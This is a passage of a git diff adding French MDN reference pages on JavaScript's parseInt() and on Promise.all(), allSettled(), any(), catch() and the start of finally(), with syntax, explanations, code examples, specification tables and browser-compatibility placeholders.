+<p>La spécification ECMAScript 5 indique, au sujet de la fonction <code>parseInt()</code>, que les valeurs commençant par <code>0</code> ne doivent plus être considérées comme des valeurs octales. ECMAScript 5 indique :</p>
+
+<p>La fonction <code>parseInt</code> produit une valeur entière définie par le contenu de la chaîne selon la base fournie. Les blancs en début de chaîne sont ignorés. Si la base spécifiée est <code>0</code>, la base décimale sera prise en compte sauf si le nombre représenté commence par la paire de caractères <code>0x</code> ou <code>0X</code> auquel cas la base 16 sera prise en compte.</p>
+
+<p>Sur cet aspect, ECMAScript 3 diffère car il permet l'interprétation octale (bien qu'il la déconseille).</p>
+
+<p>De nombreuses implémentations n'ont pas adopté ce comportement en 2013. Pour cette raison (les anciens environnements et navigateurs doivent être supportés), il faut <strong>toujours définir le paramètre pour la base</strong>.</p>
+
+<h2 id="Une_fonction_plus_stricte">Une fonction plus stricte</h2>
+
+<p>Il est parfois utile d'avoir une fonction de conversion plus stricte. Pour cela, on peut utiliser une expression rationnelle :</p>
+
+<pre class="brush: js">filterInt = function (value) {
+  if (/^(-|\+)?(\d+|Infinity)$/.test(value))
+    return Number(value);
+  return NaN;
+}
+
+console.log(filterInt('421'));               // 421
+console.log(filterInt('-421'));              // -421
+console.log(filterInt('+421'));              // 421
+console.log(filterInt('Infinity'));          // Infinity
+console.log(filterInt('421e+0'));            // NaN
+console.log(filterInt('421hop'));            // NaN
+console.log(filterInt('hop1.61803398875'));  // NaN
+console.log(filterInt('1.61803398875'));     // NaN
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.2.2', 'parseInt')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-parseint-string-radix', 'parseInt')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.parseInt")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Objets_globaux/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseFloat()")}}</li>
+ <li>{{jsxref("Number.parseInt()")}}</li>
+ <li>{{jsxref("Objets_globaux/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Number.toString()")}}</li>
+ <li>{{jsxref("Object.valueOf")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html
new file mode 100644
index 0000000000..4cc24f3cc5
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/all/index.html
@@ -0,0 +1,226 @@
+---
+title: Promise.all()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/all
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Promise.all()</strong></code> renvoie une promesse ({{jsxref("Promise")}}) qui est résolue lorsque l'ensemble des promesses contenues dans l'itérable passé en argument ont été résolues ou qui échoue avec la raison de la première promesse qui échoue au sein de l'itérable.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-all.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Promise.all(<var>iterable</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Un objet <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérable_»">itérable</a> (tel qu'un tableau ({{jsxref("Array")}})) contenant des promesses.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un objet {{jsxref("Promise")}} qui est</p>
+
+<ul>
+ <li>résolue immédiatement si l'itérable passé en argument est vide</li>
+ <li>résolue de façon asynchrone si l'itérable passé en argument ne contient aucune promesse (Chrome 58 renvoie immédiatement une promesse résolue dans ce cas)</li>
+ <li>en attente de résolution asynchrone dans les autres cas.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode peut être utile lorsqu'on souhaite agréger le résultat de plusieurs promesses.</p>
+
+<dl>
+ <dt>Valeur de résolution</dt>
+ <dd>Si toutes les promesses de l'itérable sont tenues, <code>Promise.all</code> est tenue et la valeur de résolution est un tableau qui contient les valeurs de résolution respectives des promesses de l'itérable (dans le même ordre). Si l'argument utilisé est un tableau vide, la méthode résoud la promesse immédiatement et de façon synchrone.</dd>
+ <dt>Valeur d'échec</dt>
+ <dd>Si l'une des promesses de l'itérable échoue, <code>Promise.all</code> échoue immédiatement et utilise la raison de l'échec (que les autres promesses aient été résolues ou non).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_Promise.all()">Utiliser <code>Promise.all()</code></h3>
+
+<p><code>Promise.all()</code> attend que l'ensemble des promesses soient tenues ou qu'une promesse soit rompue :</p>
+
+<pre class="brush: js">var p1 = Promise.resolve(3);
+var p2 = 1337;
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, 'foo');
+});
+
+Promise.all([p1, p2, p3]).then(values =&gt; {
+  console.log(values); // [3, 1337, "foo"]
+});</pre>
+
+<h3 id="Promise.all()_un_échec_rapide"><code>Promise.all()</code>, un échec rapide</h3>
+
+<p>La promesse créée par <code>Promise.all()</code> échoue immédiatement si l'une des promesses échoue. Dans l'exemple suivant, on fournit quatre promesses qui sont résolues après une certaine durée et une autre promesse qui est rompue immédiatement : on peut alors voir que la promesse créée par <code>Promise.all()</code> est rompue immédiatement.</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, 'un');
+});
+var p2 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 2000, 'deux');
+});
+var p3 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 3000, 'trois');
+});
+var p4 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 4000, 'quatre');
+});
+var p5 = new Promise((resolve, reject) =&gt; {
+  reject('rejet');
+});
+
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}, reason =&gt; {
+  console.log(reason)
+});
+
+// Dans la console :
+// "rejet"
+
+//On peut aussi employer .catch
+Promise.all([p1, p2, p3, p4, p5]).then(values =&gt; {
+  console.log(values);
+}).catch(reason =&gt; {
+  console.log(reason)
+});
+
+// Dans la console :
+// "rejet"
+
+</pre>
+
+<p>Il est possible de modifier ce comportement en gérant les éventuels échecs :</p>
+
+<pre class="brush: js">var p1 = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 1000, 'p1_resolution_retardee');
+});
+
+var p2 = new Promise((resolve, reject) =&gt; {
+  reject(new Error('p2_rejet_immediat'));
+});
+
+Promise.all([
+  p1.catch(error =&gt; { return error }),
+  p2.catch(error =&gt; { return error }),
+]).then(values =&gt; {
+  console.log(values[0]); // "p1_resolution_retardee"
+  console.log(values[1]); // "Error: p2_rejet_immediat"
+})
+</pre>
+
+<h3 id="Caractère_asynchrone_de_Promise.all()">Caractère asynchrone de <code>Promise.all()</code></h3>
+
+<p>Dans l'exemple qui suit, on illustre le caractère asynchrone de <code>Promise.all()</code> (et son caractère synchrone quand l'itérable passé en argument est vide) :</p>
+
+<pre class="brush: js">// On passe un tableau de promesses déjà résolues
+// afin de déclencher Promise.all dès que possible
+var resolvedPromisesArray = [Promise.resolve(33), Promise.resolve(44)];
+
+var p = Promise.all(resolvedPromisesArray);
+// on affiche la valeur de p dans la console
+console.log(p);
+
+// on utilise la méthode setTimeout pour exécuter
+// du code dès que la pile est vide
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p);
+});
+
+// Cela affichera dans la console (et dans cet ordre) :
+// Promise { &lt;state&gt;: "pending" }
+// La pile est vide
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<p>On aura le même comportement si <code>Promise.all</code> produit une promesse rompue :</p>
+
+<pre class="brush: js">var mixedPromisesArray = [Promise.resolve(33), Promise.reject(44)];
+var p = Promise.all(mixedPromisesArray);
+console.log(p);
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p);
+});
+
+// Affichera :
+// Promise { &lt;state&gt;: "pending" }
+// La pile est vide
+// Promise { &lt;state&gt;: "rejected", &lt;reason&gt;: 44 }
+</pre>
+
+<p>En revanche, <code>Promise.all</code> produit une promesse résolue de façon synchrone si et seulement si l'itérable est vide :</p>
+
+<pre class="brush: js">var p = Promise.all([]); // immédiatement résolue
+
+// les valeurs qui ne sont pas des promesses
+// seront ignorées mais l'évaluation sera effectuée
+// de façon asynchrone
+var p2 = Promise.all([1337, "hi"]);
+console.log(p);
+console.log(p2)
+setTimeout(function() {
+    console.log('La pile est vide');
+    console.log(p2);
+});
+
+// Affichera :
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[0] }
+// Promise { &lt;state&gt;: "pending" }
+// La pile est vide
+// Promise { &lt;state&gt;: "fulfilled", &lt;value&gt;: Array[2] }
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale dans un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.all")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.race()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html
new file mode 100644
index 0000000000..362df28f88
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/allsettled/index.html
@@ -0,0 +1,66 @@
+---
+title: Promise.allSettled()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/allSettled
+tags:
+  - JavaScript
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/allSettled
+---
+<p>{{JSRef}}</p>
+
+<p>La méthode <code><strong>Promise.allSettled()</strong></code> renvoie une promesse qui est résolue une fois que l'ensemble des promesses de l'itérable passée en argument sont réussies ou rejetées. La valeur de résolution de cette promesse est un tableau d'objets dont chacun est le résultat de chaque promesse de l'itérable.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-allsettled.html")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>p</em>.allSettled(<em>iterable</em>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Un objet <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">itérable</a> tel qu'un tableau ({{jsxref("Array")}}) dont chaque élément est une promesse ({{jsxref("Promise")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}) <strong>en cours</strong> qui sera résolue de façon <strong>asynchrone</strong> une fois que chaque promesse de l'itérable a été résolue (tenue/réussie ou rejetée/échouée). Le gestionnaire passé à la promesse retournée recevra comme argument un tableau de valeur dont chacune est le résultat de chaque promesse de l'itérable initial.</p>
+
+<p>Pour chaque objet contenu dans ce tableau, il y aura une propriété <code>status</code> qui est une chaîne de caractères. Si <code>status</code> vaut <code>fulfilled</code>, alors on aura une propriété <code>value</code>. Si <code>status</code> vaut <code>rejected</code>, alors une propriété <code>reason</code> sera présente. La valeur (ou la raison) reflète la valeur de résolution de la promesse.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.es/proposal-promise-allSettled/"><code>Promise.allSettled()</code> (Brouillon TC39 au niveau 4)</a></td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Promise.allSettled")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses">Guide - Utiliser les promesses</a></li>
+ <li><a href="/fr/docs/Learn/JavaScript/Asynchronous/Promises">Programmation asynchrone à l'aide des promesses</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.all()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html
new file mode 100644
index 0000000000..7ce571e20c
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/any/index.html
@@ -0,0 +1,145 @@
+---
+title: Promise.any()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/any
+tags:
+  - JavaScript
+  - Method
+  - Méthode
+  - Promise
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <strong><code>Promise.any()</code></strong> prend comme argument un itérable contenant des objets {{JSxRef("Promise")}} et, dès qu'une des promesses de cet itérable est tenue, renvoie une unique promesse résolue avec la valeur de la promesse résolue. Si aucune promesse de l'itérable n'est tenue (c'est-à-dire si toutes les promesses sont rejetées), la promesse renvoyée est rompue avec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}} (une nouvelle sous-classe de {{JSxRef("Error")}} qui regroupe un ensemble d'erreurs). Cette méthode fait essentiellement le <em>contraire</em> de {{JSxRef("Promise.all()")}} (qui renvoie une promesse tenue uniquement si toutes les promesses de l'itérable passé en argument ont été tenues).</p>
+
+<p>{{EmbedInteractiveExample("pages/js/promise-any.html")}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">Promise.any(<var>iterable</var>);</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>iterable</code></dt>
+ <dd>Un objet <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration">itérable</a> tel qu'un tableau ({{JSxRef("Array")}}) contenant des promesses ({{jsxref("Promise")}}).</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<ul>
+ <li>Une promesse ({{jsxref("Promise")}}) <strong>déjà résolue</strong> si l'itérable passé en argument est vide.</li>
+ <li>Une promesse ({{jsxref("Promise")}}) <strong>résolue en asynchrone</strong> si l'itérable passé en argument ne contient pas de promesses.</li>
+ <li>Une promesse ({{jsxref("Promise")}}) <strong>en attente</strong> dans tous les autres cas. La promesse renvoyée est résolue (qu'elle soit tenue ou rompue) <strong>de façon asynchrone</strong> lorsqu'au moins une des promesses de l'itérable est tenue ou si toutes les promesses ont été rompues.</li>
+</ul>
+
+<h2 id="Description">Description</h2>
+
+<p>Cette méthode est utile afin de renvoyer la première promesse tenue d'un ensemble de promesse. Elle permet de court-circuiter dès qu'une promesse est tenue, sans attendre que les autres promesses soient résolues. Contrairement à {{JSxRef("Promise.all()")}} qui renvoie un tableau avec les valeurs de résolution des promesses, on a ici une seule valeur de résolution (celle de la première promesse tenue). Ce peut être bénéfique lorsqu'on a un ensemble de promesses et qu'on ne souhaite en résoudre qu'une sans se soucier de savoir laquelle des promesses a été tenue en premier.</p>
+
+<p>À la différence de {{JSxRef("Promise.race()")}} qui renvoie la valeur de la première promesse résolue (qu'elle ait été tenue ou rompue), <code>Promise.any()</code> renvoie une promesse avec la valeur de la première promesse <em>tenue</em>. Cette méthode ignore les promesses qui sont rompues jusqu'à obtenir une promesse tenue.</p>
+
+<h3 id="Une_des_promesses_est_tenue">Une des promesses est tenue</h3>
+
+<p>La promesse renvoyée par <code>Promise.any()</code> est résolue avec la première valeur résolue de l'itérable, qu'il s'agisse d'une promesse ou non, et que les autres promesses de l'itérable aient échoué ou non.</p>
+
+<ul>
+ <li>Si une des promesses de l'itérable (non vide) est tenue ou que les valeurs fournies dans l'itérable ne sont pas des promesses, alors la promesse renvoyée par <code>Promise.any()</code> est résolue de façon asynchrone.</li>
+</ul>
+
+<h3 id="Toutes_les_promesses_sont_rompues">Toutes les promesses sont rompues</h3>
+
+<p>Si toutes les promesses de l'itérable échouent, <code>Promise.any()</code> échoue de asynchrone avec pour valeur d'échec un objet {{JSxRef("Objets_globaux/AggregateError", "AggregateError")}}, qui étend {{JSxRef("Error")}}, et contient une propriété <code>errors</code> qui est un tableau contenant l'ensemble des valeurs d'échec des différentes promesses de l'itérable.</p>
+
+<ul>
+ <li>Si l'itérable reçu était vide, alors la promesse retournée par cette méthode est rejetée de manière synchrone et la propriété <code>errors</code> de l'objet <code>AggregateError</code> est un tableau vide.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Première_résolue">Première résolue</h3>
+
+<p><code>Promise.any()</code> prend pour valeur de résolution celle de la première promesse résolue, et ce même si une des promesses de l'itérable a échoué avant. Ce comportement est différent de ce {{JSxRef("Promise.race()")}}, qui s'arrête à la première promesse qui se termine avec sa valeur de résolution ou d'échec.</p>
+
+<pre class="brush: js notranslate">const pErr = new Promise((resolve, reject) =&gt; {
+  reject("J'échoue toujours");
+});
+
+const pLente = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 500, "Éventuellement résolue");
+});
+
+const pRapide = new Promise((resolve, reject) =&gt; {
+  setTimeout(resolve, 100, "Rapidement résolue");
+});
+
+Promise.any([pErr, pLente, pRapide]).then((valeur) =&gt; {
+  console.log(valeur);
+  // pRapide s'est résolue en premier
+});
+// résultat attendu : "Rapidement résolue"</pre>
+
+<h3 id="Échec_avec_AggregateError">Échec avec AggregateError</h3>
+
+<p><code>Promise.any()</code> échoue avec un objet {{JSxRef("AggregateError")}} si aucun des promesses n'est résolue.</p>
+
+<pre class="brush: js notranslate">const pErr = new Promise((resolve, reject) =&gt; {
+  reject("J'échoue toujours");
+});
+
+Promise.any([pErr]).catch((err) =&gt; {
+  console.log(err);
+})
+// résultat attendu : "AggregateError: No Promise in Promise.any was resolved"</pre>
+
+<h3 id="Afficher_la_première_image_chargée">Afficher la première image chargée</h3>
+
+<p>Dans cet exemple, nous avons une fonction qui requête une image et retourne un Blob. Nous utilisons <code>Promise.any()</code> pour requêter plusieurs images et afficher la première qui nous sera disponible (c'est-à-dire dont la promesse sera résolue).</p>
+
+<pre class="brush: js notranslate">function fetchAndDecode(url) {
+  return fetch(url).then(réponse =&gt; {
+    if (!réponse.ok)
+      throw new Error(`Erreur HTTP ! état : ${response.status}`);
+    else
+      return réponse.blob();
+  })
+}
+
+let café = fetchAndDecode('coffee.jpg');
+let thé = fetchAndDecode('tea.jpg');
+
+Promise.any([café, thé]).then(valeur =&gt; {
+  let URLobjet = URL.createObjectURL(valeur);
+  let image = document.createElement('img');
+  image.src = URLobjet;
+  document.body.appendChild(image);
+})
+.catch(e =&gt; {
+  console.log(e.message);
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><strong>Spécification</strong></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Promise.any')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("javascript.builtins.Promise.any")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{JSxRef("Promise")}}</li>
+ <li>{{JSxRef("Promise.all()")}}</li>
+ <li>{{JSxRef("Promise.race()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html
new file mode 100644
index 0000000000..6fd60b4c6d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/catch/index.html
@@ -0,0 +1,164 @@
+---
+title: Promise.prototype.catch()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/catch
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Promise
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>catch()</strong></code> renvoie un objet {{jsxref("Promise")}} et ne traite que des cas où la promesse initiale est rejetée. Elle a le même effet qu'un appel à {{jsxref("Promise.then", "Promise.prototype.then(undefined, siRejetée)")}} (c'est en fait ce qui se passe dans le moteur, <code>obj.catch(onRejected)</code> est traduit en <code>obj.then(undefined, onRejected)</code>). Cela signifie qu'il est nécessaire de fournir une fonction <code>onRejected</code>, même si on souhaite avoir une valeur de secours qui est <code>undefined</code> (par exemple avec <code>obj.catch(() =&gt; {})</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/promise-catch.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>p.catch(siRejetée)</var>;
+
+p.catch(function(raison) {
+   // rejet
+});
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>siRejetée</code></dt>
+ <dd>Une {{jsxref("Function","fonction","",1)}} à appeler si la <code>Promise</code> est rejetée (i.e. n'est pas tenue). Cette fonction possède un argument :
+ <dl>
+  <dt><code>raison</code></dt>
+  <dd>Une chaîne de caractères qui indique pourquoi la promesse n'est pas tenue.</dd>
+ </dl>
+
+ <p>La promesse renvoyée par la méthode <code>catch()</code> est rompue si <code>siRejetée</code> lève une erreur ou si elle renvoie une promesse rompue. Dans les autres cas, elle est tenue.</p>
+ </dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse ({{jsxref("Promise")}}).</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>catch()</code> est utile pour gérer les cas d'erreur en cas de compositions de plusieurs promesses. Elle renvoie elle-même une promesse et peut donc être utilisée lorsqu'on <a href="/fr/docs/Web/JavaScript/Guide/Utiliser_les_promesses#Chaînage_après_un_catch">chaîne des promesses</a>, à l'instar de la méthode sœur qu'est {{jsxref("Promise.prototype.then()")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_catch">Utilisation de la méthode <code>catch</code></h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  resolve("Succès");
+});
+
+p1.then(function(value) {
+  console.log(value); // "Succès!"
+  throw new Error("zut !");
+}).catch(function(e) {
+  console.error(e.message); // "zut !"
+}).then(function(e) {
+   console.log('après le catch, la chaîne est restaurée');
+});
+
+// Le code qui suit est équivalent :
+p1.then(function(value) {
+  console.log(value); // "Succès!"
+  return Promise.reject('zut !');
+}).catch(function(e) {
+  console.log(e); // "zut !"
+}).then(function(e){
+  console.log('après le catch, la chaîne est restaurée');
+});
+</pre>
+
+<h3 id="Les_promesses_n'interceptent_pas_les_exceptions_levées_de_façon_asynchrone">Les promesses n'interceptent pas les exceptions levées de façon asynchrone</h3>
+
+<pre class="brush: js">var p1 = new Promise(function(resolve, reject) {
+  throw new Error('Oh oh!');
+});
+
+p1.catch(function(e) {
+  console.log(e.message); // "Oh oh!"
+});
+
+var p2 = new Promise(function(resolve, reject) {
+  setTimeout(function() {
+    throw new Error('Exception invisible !');
+  }, 1000);
+});
+
+p2.catch(function(e) {
+  console.log(e.message); // Cela n'est jamais appelé
+});</pre>
+
+<h3 id="Démonstration_de_l'appel_interne_à_then">Démonstration de l'appel interne à <code>then</code></h3>
+
+<pre class="brush: js">// On surcharge Promise.prototype.then/catch
+// pour y ajouter des logs
+(function(Promise){
+    var originalThen = Promise.prototype.then;
+    var originalCatch = Promise.prototype.catch;
+
+    Promise.prototype.then = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; appel de .then sur %o avec les arguments: %o', this, arguments);
+        return originalThen.apply(this, arguments);
+    };
+    Promise.prototype.catch = function(){
+        console.log('&gt; &gt; &gt; &gt; &gt; &gt; appel de .catch sur %o avec les arguments: %o', this, arguments);
+        return originalCatch.apply(this, arguments);
+    };
+
+})(this.Promise);
+
+
+
+// On appelle catch sur une promesse déjà résolue
+Promise.resolve().catch(function XXX(){});
+
+// Dans la console, on aura :
+// &gt; &gt; &gt; &gt; &gt; &gt; appel de .catch sur Promise{} avec les arguments: Arguments{1} [0: function XXX()]
+// &gt; &gt; &gt; &gt; &gt; &gt; appel de .then sur Promise{} avec les arguments: Arguments{2} [0: undefined, 1: function XXX()]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale au sein d'un standard ECMA.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-promise.prototype.catch', 'Promise.prototype.catch')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une poule requête sur : <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("javascript.builtins.Promise.catch")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Promise.prototype.then()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html b/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html
new file mode 100644
index 0000000000..b880bc4166
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/promise/finally/index.html
@@ -0,0 +1,106 @@
+---
+title: Promise.prototype.finally()
+slug: Web/JavaScript/Reference/Objets_globaux/Promise/finally
+tags:
+  - JavaScript
+  - Méthode
+  - Promises
+  - Reference
+  - finally
+translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>finally()</strong></code> renvoie un objet <code>Promise</code> et accepte en argument une fonction de <em>callback</em> qui est appelée lorsque la promesse a été résolue (qu'elle ait été tenue ou rejetée). Cela permet d'exécuter du code une fois que la promesse a été traitée, quel que soit le résultat. On évite ainsi de dupliquer du code entre les gestionnaires {{jsxref("Promise.then", "then()")}} et {{jsxref("Promise.catch", "catch()")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>p.finally(onFinally)</var>;
+
+p.finally(function() {
+   // appelée dans tous les
+   // cas de terminaison
+});
+</pre>
+
